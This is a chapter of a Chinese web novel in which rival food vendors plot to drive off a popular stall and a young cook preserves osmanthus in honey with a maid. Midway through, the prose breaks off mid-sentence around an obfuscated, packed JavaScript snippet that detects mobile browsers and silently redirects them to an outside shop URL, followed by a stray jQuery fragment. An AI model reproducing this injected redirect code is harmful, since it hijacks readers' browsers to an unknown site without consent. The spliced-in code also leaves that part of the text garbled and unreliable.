夜色浓重,孙二娘面带慌张地敲门。
昌白梅没拦着她往里冲,悠哉地关上门。
“怎么了?”昌白梅关切地问。
“你怎么才回来,我都来敲了几回门了。”孙二娘有点哆嗦害怕又强忍着怒气,脚跺得震天响。
“我今天店里客人多,所以晚了一会,出什么事了吗?”昌白梅说着给她倒了杯热茶,“怎么慌慌张张的?”
孙二娘喝了口茶,四肢似乎多了丝暖意,莫名的多了几分底气,简单把刚才街上的事说了一遍。
昌白梅越听眼睛睁得越大,“二娘怎么敢做这样的事?这要是被发现了可如何是好?”
孙二娘一听,怒气蹭蹭蹭上头,“那还不是你出的主意!”
昌白梅只满脸的委屈,“二娘,我何时叫你去闹事。”
“怎么不关你的事,要不是你,我根本想不到、想不到用这个方法赶她走。”孙二娘气得跳起来,怒目以对。
孙二娘真是满心的愤懑和委屈。
那日,昌白梅来晚了,苏问白已经收摊回家。隔了几天,她又来买,正好也遇上了孙二娘。
昌白梅一年前在这摆摊卖糕团的时候,苏二娘已经卖了几个月烧饼,现在昌白梅已经搬进食肆里,苏二娘依然在卖烧饼。
两人也算说得上话,自然而然谈到苏小娘子的事。
孙二娘自然是一通含枪夹棍的抱怨。
“原以为也就红火个几天就不新鲜了,没想到她生意一天比一天好,再过些日子我怕是要卷铺盖回家了。”
昌白梅很惊讶,“竟然到这地步了吗?”
“不是她走,就是我走。”孙二娘说起“她”这个字,咬得死死的,像是恨不得把人踩死。
昌白梅低着头,眼睛转了几圈,“她生意正好怎么会走呢?除非——”
“除非什么?”
“也没什么,我就是想起一件事,你还记得之前和我们一道卖糍糕的岑大娘。”昌白梅看上去有点犹疑。
“岑大娘?”
“岑大娘的糍糕卖得多红火,把我们那一片的生意都抢了。有一天不知她的一筐糍糕出了什么问题,好多人吃得上吐下泻。后来那么多人找上门来,又是赔钱又是道歉,还差点惹上官司。再后来就不见了,不知道她去哪了。”
孙二娘听了若有所思,“哦——我想起来了。”
“所以除非这个苏小娘子也出了同样的事自己走了,否则她怎么会主动走呢?”
……
孙二娘回忆这些事情绪越发激动。
“二娘来,吃点点心,看你这么急肯定没吃饭,”昌白梅语气忽然软下来,扶着孙二娘坐下,“其实二娘不必如此担心,那大哥去闹事砸场子也没伤到人,也没掀摊子,想来关上几天就出来了。”
“可是万一他要是说出我呢?”
“官府做事都要讲证据的,二娘可给了那大哥什么信物或者是钱财?”
孙二娘想了想,缓缓摇头。
昌白梅双手一合,“那就好,到时就算查到你这,你只管否认便是,空口白牙总不能给你安个罪名吧。”
孙二娘在她的安慰下回过神来,渐渐定了心绪,抬眼问道:“这样能行吗?”
“你不要自己吓自己,”昌白梅轻抚着她的后背,“这事你也没参与,你不知情。”
昌白梅又像想起什么,面上带了些焦虑。
“对了,你是不是一出事就跑回来了?”
“我一看胡大哥被带走,就赶紧收摊回来了,我哪敢多待?”孙二娘一提起这事依然惊魂未定。
“坏了。”
“又怎么了?”孙二娘如同惊弓之鸟。
“大家都像往常一样,就你一个人不在,你说会不会怀疑你?”昌白梅算是知道了,这就是个烂泥扶不上墙的。
“那怎么办?”
昌白梅看着她只会号叫“怎么办”的样子,心想当时怎么就瞎了眼,还以为她能成什么事。
她咬碎了后槽牙,挤出一个勉强的笑,“这样,你这几天先照常出摊收摊。然后,你这几年应该也赚了不少,不如找个店安顿下来,也不用这样风里来雨里去。店呢,最好离这里远一点。”
“那也只能这样。”
孙二娘依然一副遭了大难的样子,魂不知被吓到哪里去了。
“对了,还没问你,你怎么谋划的?”虽然她这件事没办成,但也不像是她那个脑子能想出来的。
“我哪里会谋划,我就是把你跟我说的岑大娘的事跟胡大哥说了,他就说帮我办好,都是他想的。”
蠢货!
昌白梅彻底被气死。
苏问白完全不知道“闹事”这一出后面还有这么多戏,隔天她还像个没事人似的在家捣鼓。
“苏小娘子,”绿露倚在门口,眨巴着眼睛,“要帮忙吗?”
苏问白一抬头看见她很惊喜,笑着问道:“今天不忙吗?”
“柳郎君来了,刘嬷嬷说娘子那用不上我,所以我就过来看看。”绿露无奈地摊摊手。
“小娘子这是在做什么?这桂花好香啊。”
苏问白知道绿露鼻子灵,平常她做什么好吃的,绿露总喜欢往跟前凑。她手脚勤快,长得也讨喜,苏问白也习惯有个“小松鼠”在眼前绕。
“这几日街上的糕点铺子都在叫卖桂花糕,我才想起来做蜜渍桂花。”苏问白把桂花放在筛子里筛去杂质。
“我小时候家里也有好几颗桂花树,一到秋天到处都是桂花香。”绿露上前帮着捡去筛子里桂花多余的根茎。
苏问白听她说小时候,愣了一下才反应过来绿露说的是在自己家的事,而不是沈娘子家。
除了一些大户人家有家生的奴仆,大部分普通人家买个丫鬟要么是连年天灾不能养活,要么是家中子女众多女孩最不受重视,几两银子便出卖了一生。
运气好的碰到好说话的主家,吃喝不愁干活勤快就行,说不定还有机会出来;运气不好的动辄打骂也没人出头,或是被送给男主人做妾,不满意就不知被转手卖给谁。
绿露还在傻笑着回忆,“一到这个时候,我就捡了桂花熬粥,连米油都带着香。”
看着她天真的笑脸,苏问白也忍不住笑了,“要说香气,确实是桂花真正的奇妙之处,这个时候出去走走,到处都能闻到若有若无的香气,但要真正去找桂花树藏在哪,却怎么找也找不到。”
桂花挑拣得差不多,正好水分也沥干了。到这一步,最繁琐的已经过去了。花朵娇嫩,清洗时只能轻轻淘洗除去表面灰尘,然后去除花梗和多余的杂质,这是个细致活。
苏问白猛一下子把筛子端起来,却不想筛子比想象中重,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838816|211570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她一时没站稳,就要往左边倒。
“小娘子,小心,”绿露一把扶住苏问白的胳膊,顺手接过她手里的筛子,“我来吧,我力气大。”
那笨重的筛子在她手里就像玩具似的,毫不费力。
苏问白看着她的细胳膊细腿,心想真是人不可貌相,人小小的,力气还挺大。
绿露看苏问白似乎面带忧愁,傻呵呵地笑道:“小娘子别担心,我力气大着呢。”
“就是吃的也多,”绿露挠挠头说,“我在前一家的时候,就是因为总是饿,吃得比别人多,被赶出来了。”
“能吃是福,不吃怎么有力气干活。”
在吃这方面,苏问白简直是羡慕她,干吃不胖是多少现代少女羡慕不来的事。在后世她虽然不是喝口水就胖的倒霉蛋,却也不敢随便吃热量炸弹。
不幸的是,她没运气到以胖为美的朝代。当朝依然以瘦为美,服饰又多用飘逸的纱绸,妙龄少女们运动量少,为了保持身材只能控制胃口。
胖,让多少人错过多少美食。
苏问白把洗净晾干的桂花拢作几堆,旁边摆放着四个中等大小的白瓷罐子。
“这是詹家出的白瓷吧?真好看。”绿露一眼就认出是詹家出品,整个平江城只有詹家的白瓷通体雪白没有一丝杂质,尤其受到读书人的喜欢。
“是啊,”苏问白冲她眨眨眼,“送人嘛,总要看个样子。”
苏问白又从里间拿出另外几个罐子,做工一眼就能看出远不如白瓷的,摸上去有些喇手,容量却是它的好几倍。
苏问白拍了拍罐口,语气中有点小得意,“我们自己吃,当然是实惠最重要,就不用那些花里胡哨的装饰。”
“那倒也是,旁边书院里往来经常用詹家白瓷,可能那些读书人就喜欢这些,反正我看不出来和普通的陶罐有什么不同。”绿露颇有同感的点点头。
“读书人最喜欢的就是梅兰竹菊,自诩君子,这白瓷无非也就是寄托一些品格呀,显示自己的高洁之类的。”
蜜渍桂花整个过程没有什么难度,只要原料选好了也就成功了大半。苏问白在白瓷罐底铺上一层桂花,浇上一层蜜,这样装个八分满就好。
“不过我是个粗人,不懂这些风雅的事,只管东西好吃。”苏问白把四个罐子合上,笑着对绿露说。
她双手秀窄修长,指尖如笋,手腕和白瓷互相印衬,摆弄着白瓷罐子仿佛平白给罐子增价几倍,
绿露看得有些出神,苏小娘子可真好看,而且是精致的那种好看,“粗人”两个字怎么也联系不到她身上。
苏问白把四个瓷罐收好,剩下的正好装满了三个大陶罐。
苏问白笑着把陶罐递给绿露,“一个给你,一个给你家娘子,还有一个给我自己。”
绿露非常实诚地回答:“可是我也没帮上什么忙。”
手却不自觉按上罐口。
“我看到你心情就觉得好啊,做出来东西就好吃,这算不算帮了大忙?”苏问白看着她鼓鼓的脸颊,忍不住上手掐了一把。
果然手感很好,像棉花糖一样。
绿露飘飘悠悠地抱着罐子走了。
苏问白伸了个懒腰,身上各个关节发出咔咔的声响。她把四个白瓷罐子小心地挪到橱柜里。
放在阴凉的地方搁置发酵三五天就可以吃了。